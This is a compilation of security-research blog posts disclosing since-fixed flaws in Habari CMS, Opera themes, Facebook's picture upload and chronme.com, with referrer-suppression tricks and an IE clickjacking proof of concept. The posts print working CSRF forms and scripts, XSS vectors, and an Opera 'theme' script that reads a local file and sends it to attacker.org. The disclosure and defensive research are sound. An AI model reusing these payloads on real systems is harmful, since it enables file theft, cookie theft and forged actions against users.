Habari is a very nice blogging system - I tried to break it again, so let me show what I discovered in the next lines.
Note: all the showed vulnerabilities were fixed in the last Habari release (Habari 0.8).
Analysis
1. No clickjacking countermeasures
The admin section can be loaded in an iframe. You may exploit this by adopting some UI redressing techniques. Pretty scary!
2. CSRF in the add users process
Two anti-CSRF tokens are used when adding a new user, actually they are not properly validated. By making an HTTP POST request to http://[domain]/[habari_path]/admin/users and by populating this with the following fields only, it still results in a successful action.
new_email x@sa.x
new_pass1 x
new_pass2 x
new_username x
newuser Add User
reassign 0
The new user has not particular priviledges, but he is able to comment every blogpost bypassing the comments moderation. The attacker should just make the admin visit the following malicious page:
<script>
var xmlhttp = new XMLHttpRequest();
var params = "new_username=asd&new_email=asdas%40das.sa&new_pass1=1&new_pass2=1&newuser=Add+User&reassign=0";
xmlhttp.open("POST","http://[domain]/[habari_path]/admin/users",true);
xmlhttp.withCredentials = "true";
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "close");
xmlhttp.send(params);
</script>
3.1 CSRF file upload in Media Silo - it may lead to invisible arbitrary CSRF file upload
The attacker is able to force the admin in uploading whatever it wants. It just need to deploy the following page and convince him to make an upload action.
<form action="http://[domain]/[habari_path]/admin_ajax/media_panel" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload" name="upload">
<input type="hidden" value="Habari" name="path">
<input type="hidden" value="upload" name="panel">
</form>
Here follows some request details:
POST http://[domain]/[habari_path]/admin_ajax/media_panel
Content-Type: multipart/form-data; boundary=---------------------------265001916915724
Content-Length: ???
-----------------------------265001916915724
Content-Disposition: form-data; name="file"; filename="filename.jpg"
Content-Type: image/jpeg
[binary data]
-----------------------------265001916915724
Content-Disposition: form-data; name="upload"
Upload
-----------------------------265001916915724
Content-Disposition: form-data; name="path"
Habari/
-----------------------------265001916915724
Content-Disposition: form-data; name="panel"
upload
-----------------------------265001916915724--
As usual, this process could be realized without user interaction (with some Javascript code), exploiting the CORS specification - the upload will complete transparently! I discovered something similar in Facebook.
For further information take a look at the Kotowicz's interesting presentation.
3.2 Uploaded file extension is not checked
The file upload process accepts every file extension, so the attacker might upload a PHP shell (or something similar) using the method above.
3.3 Uploaded files are located in a predictable position w/o randomizing their names
Uploaded files are located in [habari_path]/user/files/, basically no path+filename guessing is required for the attacker.
4. Non-persistent (reflected) XSS
http://[domain]/[habari_path]/admin/<a href=onload=alert(document.cookie);">
The previous vector results in the following tag:
<body class="page-<a href=" onload="alert(document.cookie);""">
That is pretty weird! You were able to inject non-malicious tags such as anchors - the filter accepted them without considering the first quote after the HREF attribute was breaking the class attribute.
Fix(es)
1. X-Frame-Options: DENY was employed and a framebuster as well (fix).
2. As I suggested, they employed the right validation for the anti-CSRF token (fix).
3.1 As above, anti-CSRF solved this issue and ensured the validity of the upload (fix).
3.2, 3.3 By solving the 3.1 issue, the attacker cannot force the upload anymore, so these issue are implicitly solved.
4. The reflected string is actually sanitized, however something like the following still works (but yeah, this is not a security issue at all). (fix).
http://[domain]/[habari_path]/admin/go%20to%20www.badsite.org%20to%20download%20the%20last%20habari%20version
Disclosure timeline
10.18.11 vendor contacted
10.18.11 Habari confirms they got my report
10.27.11 Issue 1,2,4 fixed
11.08.11 Issue 3 fixed
12.13.11 Habari 0.8 released
Habari users are hardly encouraged to update their blog system as soon as possible.
I would like to thank the Habari security team, that is really friendly and available. Thanks guys for your collaboration! :)
The checking of the HTTP referer is sometime used to prevent CSRF by accepting requests only from trusted sources. Some developers adopt the following basic designs without considering the possibility to use random tokens.
- If a request lacks the header, the site accepts the request (lenient Referer validation)
- If a request lacks the header, do not accept it at all (strict Referer validation)
None of these techinques are satisfactory in terms of security; the first one allows an attacker to suppress the header and make the application consider as trusted a malicious request, the second one incurs a compatibility penalty. Maybe the future is in the Origin header, but at the moment the best way to prevent CSRF attacks is using random tokens.
Krzysztof Kotowicz made an interesting research, showing which are the methods for client side only referrer stripping in POST & GET requests. I hardly encourage you to take a look at his blogpost.
I tried to further investigate in order to discover some other ways to suppress the referer, here follows an exahustive scheme.
Let's assume http://target.xx as the target URL, all tests were done in: Firefox 8.0, Opera 11.60, IE 9, Chrome 15, Safari 5.1.1.
GET method
// Firefox
<script>
location="jar:http://target.xx!/";
</script>
// Firefox
<script>
location="javascript:'<html><meta http-equiv=\"refresh\" content=\"0; url=http://target.xx\"></html>'";
</script>
// Chrome, Safari
<a rel="noreferrer" href="http://target.xx">click me</a>
// Chrome, Safari
<img src ="x.jpg" width="145" height="126" usemap ="#s" />
<map name="s">
<area shape="rect" coords="0,0,82,126" href="http://target.xx" rel="noreferrer"/>
</map>
POST method
// Firefox
getAppletContext().showDocument(new URL("javascript:'<form id=x method=POST action=\"http://target.xx\" ></form><script>document.getElementById(\"x\").submit()</script>'"));
// Firefox
<script>
location="javascript:'<form id=x method=POST action=\"http://target.xx\" ></form><script>document.getElementById(\"x\").submit()</sc"+"ript>'";
</script>
// Firefox, Chrome, Safari
<a href="data:text/html,<form id=x method=POST action=http://target.xx' ></form><script>document.getElementById('x').submit()</script>">click me</a>
// Firefox, Chrome, Safari
<img src ="x.jpg" width="145" height="126" usemap ="#s" />
<map name="s">
<area shape="rect" coords="0,0,82,126" href="data:text/html,<form id=x method=POST action='http://target.xx' ></form><script>document.getElementById('x').submit()</script>" />
</map>
About the first one, it is pretty weird because of the jar scheme: actually the target URL will not be displayed, FF will return an "Unsafe File Type" page. However the GET request is submitted to the server, so it reaches the application.
As you can see, javascript:'html' even works, moreover you could ask the user to click an anchor or an image. Chrome and Safari support the HTML5 noreferrer link relation (rel="noreferrer") within an a and an area element - Chrome and Safari hide the target url within the status bar for the area elements!
For the sake of completeness, in the case of Java Applets the attacker may use the getMember() method in order to access Javascript objects (JSObject).
I did not test the ftp scheme, but I suppose the referrer is also suppressed; instead getURL('http://target.xx/', '_self') [Flash] leaks the referrer.
Conclusion
If you encounter a website which adopts lenient Referer validation for preventing CSRF, then you will be definitely able to exploit it by suppressing the referrer. So let's use random tokens...
For further information:
- Robust Defenses for Cross-Site Request Forgery
- Cross-Site Request Forgery (CSRF) - OWASP
- Redirection Methods - html5security
Opera allows the user to change the browser's theme by downloading a compressed file containing all the useful information (images, ini files).
I tried to take a look at it after reading that Opera 12 will introduce a new themes system, which will make very very simple customizations; so I discovered a weird behaviour when Opera accepts a new theme, I mean, it does not perform any file extension check and it accepts bogus data within the theme. It just checks that the file starts with a certain "header" like the following:
[Info]
Name=x
Author=x
Version=1
I tried to exploit this successfully ( - it may lead to local file stealing), but this is not properly a Opera security issue because it requires some assumptions (social engineering) and the attacker should be able to convince the victim into clicking on yes within a "Potential Security Risk" dialog that Opera correctly prompts. Just take in mind that the attack should be very very simple, and yeah, I'm pretty sure that a fancy and cool theme will convince any user into accepting its installation!
I reported this to Opera, but they did not consider it as a security issue because several potentially harmful functions are protected by dialogs, and according to them this is considered sufficient. Since the installation of a new theme from an untrusted domain will prompt the user asking him whether he wants to really do so, Opera design is leaving the choice of being exploited to the user. Actually they consider as trusted just web sites managed from Opera Software in terms of skin, extensions, widgets, so if you try to host a personal themes mirror then the browser will alert the user at any time he is going to install something (skin, extensions, widgets). This is fine and this design can be considered acceptable in terms of security. At the end of the day Opera has the right protection against attacks like this, but the user should be completely aware of what he is going to install from untrusted domains.
I'm completely aware that this stuff is similar to the possibility for the attacker to make the victim download an HTML file and open it, but I suppose it's more likely the user downloads a nice theme instead of accepting a completely transparent download of an HTML file. Furthermore you could make the user dowload a theme which is an exe file, he could not be able to understand it because the filename.ext is not reflected in the dialog. Opera will also show a progress bar indicating the theme installation process and this will make the user trust it.
Analysis:
Let's try to forge an HTML file as a valid theme and let's serve it with the proper content-type (application/x-opera-configuration-skin).
· skin2.html
[Info]
Name=sneak
Author=@sneak_
Version=1
· .htaccess
<FilesMatch skin2.html>
ForceType application/x-opera-configuration-skin
</FilesMatch>
Now the user should be convinced in downloading the theme. Opera will alert the above mentioned "Potential Security Risk" dialog, if the user will accept it then he will have a new "theme" in an almost predictable location: C:\users\[user]\AppData\Roaming\Opera\Opera\skin on Windows.
Here comes the core, the victim should be convinced into opening the local file, no redirections are actually working (Java Applets, Flash), so the most effective way to proceed is asking him into making a drag and drop operation in the address bar. I suppose you can do better by employing a PDF file which points to the local file, but again an alert dialog will prompt.
So considering the fact the Opera blocks xmlhttprequest from local files by default, I should use a simple trick to bypass this problem - I'm using an iframe in order to access a target local file content (Opera can read unrelated files), then I'm causing a 404 to make the attacker server log the file content. (For detailed info: 1, 2).
The malicious theme should be as follows:
· skin2.html
# This file describes the skin for the Opera browser, yeah for sure! :D
[Info]
Name=sneak
Author=@sneak_
Version=2
<hr />
<script>
function send_to_theAttacker(content) {
x=document.createElement("iframe");
x.src="http://attacker.org/"+content;
document.body.appendChild(x);
}
z=document.createElement("iframe");
z.src="file://localhost/C:/[LOCALFILE_TOSTEAL]";
z.onload=function(){ k = frames[0].document.body.innerHTML; send_to_theAttacker(k); };
document.body.appendChild(z);
</script>
In this way the attacker is able to steal any file on the victim filesystem! You can also serve a bat file as theme which starts the calc.exe, but again the user will be prompted by a dialog asking him whether he wants to run it.
Conclusion:
Here follows the attack steps:
1. make the victim download the fake theme, which contains a malicious payload that steals a secret file from the local file system and give it to the attacker
2. this latter will be located in a predictable location, knowing the machine username
3. make the victim visit the local page (hard, you can do that with PDF or drag and drop of a link in the address bar)
There are just two limitations:
1. the attacker should know the windows username;
2. the redirect to a local file from an http page is not possible without user interaction.
This stuff works in Opera 11.52 (tested on Win32).
Video:
Here you can find a video for better understanding.
Profile picture upload form in facebook.com was vulnerable to CSRF. The vulnerability resided in http://upload.facebook.com/pic_upload.php and allowed an attacker to force a user to change its profile picture.
The issue has been fixed by Facebook security team.
Analysis
Each facebook user is able to change its profile picture from the following address: http://www.facebook.com/editprofile.php?sk=picture. The related form uses two fields, post_form_id and fb_dtsg, which look like anti-CSRF tokens, however they were not verified properly. Removing those fields still resulted in successful file upload!
Here follows an example of the POST request; just three fields were required to manage a successful upload, id (facebook profile identifier), type (=profile, fixed) and pic (-> image file).
POST /pic_upload.php HTTP/1.1 Host=upload.facebook.com User-Agent=Mozilla/5.0 (X11; Linux i686; rv:2.0) Gecko/20110321 Firefox/4.0 Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language=en-us,en;q=0.5 Accept-Encoding=gzip, deflate Accept-Charset=ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive=115 Connection=keep-alive Referer= [...] Cookie= [...] Content-Type=multipart/form-data; boundary=---------------------------14845003822106369361604088384 Content-Length=24879 POSTDATA = -----------------------------14845003822106369361604088384 Content-Disposition: form-data; name="id" [facebook-profile-IDentifier] -----------------------------14845003822106369361604088384 Content-Disposition: form-data; name="type" profile -----------------------------14845003822106369361604088384 Content-Disposition: form-data; name="pic"; filename="filename.jpg" Content-Type: image/jpeg [binary-data]
Take in mind that the vulnerability worked fine only if the user didn't use secure browsing (https) and he was logged in facebook. Furthermore the POST request did not have to contain the Origin header.
Actually the attacker's malicious page would not receive the response because of the CORS specification, but who cares?
Exploit
The attacker could employ a malicious web page with the following HTML code and ask the user to upload some image. Since the browser would attach the facebook cookies to the request, the choosen file would be uploaded as profile picture, but the user was not able to understand what was really happening.
<form enctype="multipart/form-data" method="post" action="http://upload.facebook.com/pic_upload.php">
<input type="hidden" value="profile_ID" name="id">
<input type="hidden" value="profile" name="type">
<input type="file" name="pic">
<input type="submit">
</form>
Actually this process could be done in Javascript without user interaction: you just need to make a XMLHttpRequest POST request, forming a multipart MIME manually. The attacker might ask the user to visit a malicious web page which contains some javascript code and quietly uploads a new profile picture. Notice that the image is choosen by the attacker, the user does not have to manually choose the file from its local filesystem.
This tecnique has been discovered and employed by Krzysztof Kotowicz against flickr.com (How to upload arbitrary file contents cross-domain - Cross domain arbitrary file upload Redux - Invisible arbitrary CSRF file upload in Flickr.com - Html5: something wicked this way comes) . I strongly recommend you to read the previous blogposts.
There is only one restriction: the attacker should know the user's profile identifier, but finding it should be trivial. Furthermore he could publish a link on the users' walls which pointed to the malicious web page. This latter could easily extract the user identifier by looking at the document.referrer (it's very likely that the user clicked on that link while he was looking at its wall: www.facebook.com/?id=[profile IDentifier]).
The invisible arbitrary CSRF file upload works fine in browsers supporting CORS (Firefox, Chrome), while Opera and IE allow the manual file upload whenever the user has a valid cookie.
Fix
Facebook fixed this vulnerability after receiving my report, according to the bug bounty initiative. I think they just employed the proper validation for the anti-CSRF tokens.
Timeline
09.09.11 facebook notified
09.14.11 fix is ready
09.21.11 fix has been deployed
So guys, I suppose this vulnerability is very spread, I think most modern web apps have a similar flaw, just like clickjacking vulnerabilities (you know, some disclosed facebook vulnerabilities are related to cross domain content extraction). Developers should be completely aware of Cross Domain AJAX security implications.
Clickjacking is a very nice techinque, that allows us to exploit unexploitable XSS flaws, for instance a "Self-Only" XSS. Krzysztof Kotowicz showed how an attacker could be able to perform such kind of exploits in order to trigger the flaw.
So what we need?
- Social engineering (I mean, a clumsy and inattentive user: a chicken... :D )
- A very permissive browser
I recommend you to read an awesome paper about UI redressing attacks by Marcus Niemietz; it summarizes and presents all the recent techniques and the best ways to prevent such kind of issues.
I'm starting this blogpost by showing a vulnerability I discovered few weeks ago on chronme.com and by discussing how it worked and how I was able to exploit it. Perhaps you will find nothing new, but my purpose is just to show how could be easy to achieve a UI redressing attack with Internet Explorer.
The issue has been fixed, thank you Phil for your collaboration! :)
Click here to skip this following analysis and go directly to the Proof of Concept, which works fine with IE 7,8,9.
Analysis
Chronme is an Online Chronometer, it is really cool and can be used for a wide range of purposes. Give it a look! The issue, I was talking about, can be found in the setlabel() javascript function, it is used to supply a label for a taken instant of time and it is called when the user inserts a label into an input tag.
function setlabel(labelid) {
labeltext=document.getElementById('label-'+labelid).value;
document.getElementById('laplabel-'+labelid).innerHTML = '<input style="font-size:0.8em;" type="text" onchange="setlabel('+labelid+')" size="24" maxlength="28" id="label-'+labelid+'" value="'+labeltext+'"/>';
}
It is possible to realize a XSS by suppyling the following vector as a label:
"><i>hello</i>
First of all, we can break the attribute value with the quote and close the input tag, then we can inject any kind of HTML.
"><b onclick=alert(9)>click
I have to notice that the attribute size for the input tag is limited to 28 characters, so I have to optimize the characters usage in order to achieve the more effective attack, by using the minimum possible # of chars. So very very simple:
"><b onclick=innerHTML=URL>
By loading the page with the following url:
http://online-stopwatch.chronme.com/#<img src=X onerror=alert(0)>
(I hope you remember how Mario Heiderich solved the tr3w's awesome challenge).
Take in mind that innerHTML=URL will be not effective in the case of Firefox; this latter will report the urlencoded URL, it means that we should be able to supply something like innerHTML=decodeURIComponent(URL).
The following stuff, I'm reporting just for completeness, should be not bad, but we will spend too much chars.<i>vector</i>:
<style>@import url(//x.x/h.css);
<i>x.x/h.css</i>:
body{
width: expression(document.body.appendChild(document.createElement('script')).src='http://ww.ww.ww'););
}
I'm definitely aware of the fact that this issue seems to be not exploitable because it requires that the user inserts the payload and then clicks on it. Actually it is possible to exploit it by employing the clickjacking technique in order to trigger the XSS flaw. It is possible to use an invisible iframe which includes the online-stopwatch page and force the victim to click on some elements. He should be not able to understand the presence of the iframe, so he could unconsciously give place to the XSS vulnerability, which has been mentioned before.
Notice that the attack should be based on drag and drop: this method is used to populate the value of the input tag (related to the label), so that the user does not have to type it!
I prefer to skip the long discussion about how clickjacking should be avoided, but I report just a hint for completeness:
1. Adopt the X-Frame-Options header
2. Employ the JS + CSS protection
The issue has been quickly solved with some processing to the label input so that tags, quotes or double quotes aren't allowed. However no clickjacking preventions have been applied.
function setlabel(labelid) {
labeltext=document.getElementById('label-'+labelid).value.replace(/(<([^>]+)>)/ig,"");
labeltext=labeltext.replace(/[\"\']/g,"");
document.getElementById('laplabel-'+labelid).innerHTML = '<input style="font-size:0.6em;" type="text" onchange="setlabel('+labelid+')" size="24" maxlength="28" id="label-'+labelid+'" value="'+labeltext+'"/>';
}
The first regex can be bypassed by employing a tag ending with '//', while the second one solves definitely the issue. Since properly quoted attributes can only be escaped with the corresponding quote and I cannot inject a quote, then I cannot inject HTML code. Notice that single quotes could be allowed.
Actually there are no important cookies to steal (related to online-stopwatch subdomain)! The cookies (related to the "upper" domain, that is chronme.com) are setted with the domain property equal to .chronme.com, it means that the sub-domain may also read these ones. So the attacker could be able to steal the cookies related to the domain chronme.com, which includes the blog (wordpress) too.
Clickjacking with Internet Explorer
I wrote a PoC, that works ok in IE 7, 8, 9, check it here. You will find a video too, showing how the attack could work (the issue has been solved, so you cannot test it anymore). It simulates a kind of captcha, based on some stupid mathematical operations. The user has to drag the right result of something like '1+3' and drop it into an input, then he has to click OK for confirming its answer. Too simple!
Why IE? I started playing with IE9 when I discovered that the onchange event is not fired in Firefox after a drag and drop operation. I mean, by dragging and dropping some text into an input tag, which has setted an onchange attribute, nothing happens until the user writes at least one character into it. IE, Chrome and Opera fires the event handler just after losing the focus.
Drag and drop operations can be used for filling forms across domains (info); Basically to make a cross browser HTML5 drag and drop is very very annoying, so a lot of attackers tries to just use the setData method, but this latter works fine in Firefox and Safari. Actually IE allows us to realize this kind of operation in a trivial way, just exploiting the ondragstart and ondragend events. They might be applied to a textarea tag whose content is automatically selected with a simple onmouseover="this.select()".
So far so good, indeed the most important part (of the PoC) is the following:
<textarea id="x" rows="1" cols="8" ondragstart="this.innerText='"><b onclick=innerHTML=URL>x';this.select();changeIframePosition(13,1,0);cover(11);" ondragend="changeIframePosition(16,1,1);document.getElementById('end').innerHTML='6';this.focus();" onmouseover="this.select()" style="cursor: move;">
6</textarea>
When a drag operation starts, we can silently overwrite the textarea content with the payload and at the end we have to force again the selection of the new text. This stuff works good in Chrome too, but don't forget that it disabled the cross-origin drag and drop. The payload will be injected in the target forms when the drop event happens. The this.focus() into the ondragend forces the target input to lose the focus in order to fire the onchange event.
You can test what I'm saying with this code:
<textarea id="x" rows="1" cols="8" ondragstart="this.innerText='payload';this.select();" ondragend="this.focus();" onmouseover="this.select()" style="cursor: move;">
drag me</textarea>
<textarea onchange="alert(0)">drop here</textarea>
Furthermore IE allows to detect a click on an iframe with the onfocus attribute. This is very very bad, because the attacker could understand whenever the user clicks over the iframe in order to give him a kind of feedback. Take a look at the PoC and note that the "OK" button in the parent page becomes green after a click into the invisible iframe.
<script>
function clickFeedback() {
var a = document.getElementById("mybutton");
// let's give a feedback to the user
a.style.background="#00FF00";
}
</script>
<iframe id="clickjacking" src="X" scrolling="no" frameborder="none" onfocus="clickFeedback()"></iframe>
I recommend you to take a look at the proof of concept code, it's easy, but effective.
So yeah, UI redressing is a powerful technique and, we know, bad guys love it so much! Let's try to convince browser vendors to disable cross-origin drag and drop and developers to apply the right preventions...
